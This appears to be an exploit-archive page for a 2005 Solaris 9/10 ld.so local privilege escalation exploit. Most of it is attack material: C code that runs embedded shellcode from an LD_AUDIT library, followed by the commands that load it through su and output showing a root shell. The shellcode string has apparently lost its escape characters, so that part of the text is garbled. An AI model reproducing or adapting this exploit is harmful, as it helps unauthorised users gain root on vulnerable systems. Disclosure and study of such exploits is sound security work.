Solaris 9 / 10 ld.so Local Root Exploit (1)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Solaris 9 / 10 ld.so Local Root Exploit (1)
# Published : 2005-06-28
# Author : Przemyslaw Frasunek
# Previous Title : Willing Webcam 2.8 Licence Info Disclosure Local Exploit
# Next Title : Sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit (openbsd)

/*
- SunOS 5.10 Generic i86pc i386 i86pc
- SunOS 5.9 Generic_112233-12 sun4u

It does NOT work on:

SunOS 5.8 Generic_117350-02 sun4u sparc

Example on unpatched Solaris 10 (AMD64):

atari:venglin:~> cat dupa.c
*/

static char sh[] =
"x31xc0xebx09x5ax89x42x01x88x42x06xebx0dxe8xf2xffxffxffx9ax01x01x01x01x07x01xc3x50xb0x17xe8xf0xffxffxffx31xc0x68x2fx73x68x5fx68x2fx62x69x6ex88x44x24x07x89xe3x50x53x8dx0cx24x8dx54x24x04x52x51x53xb0x0bxe8xcbxffxffxff";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su

# id
uid=0(root) gid=10(staff)
*/

// www.Syue.com [2005-06-28]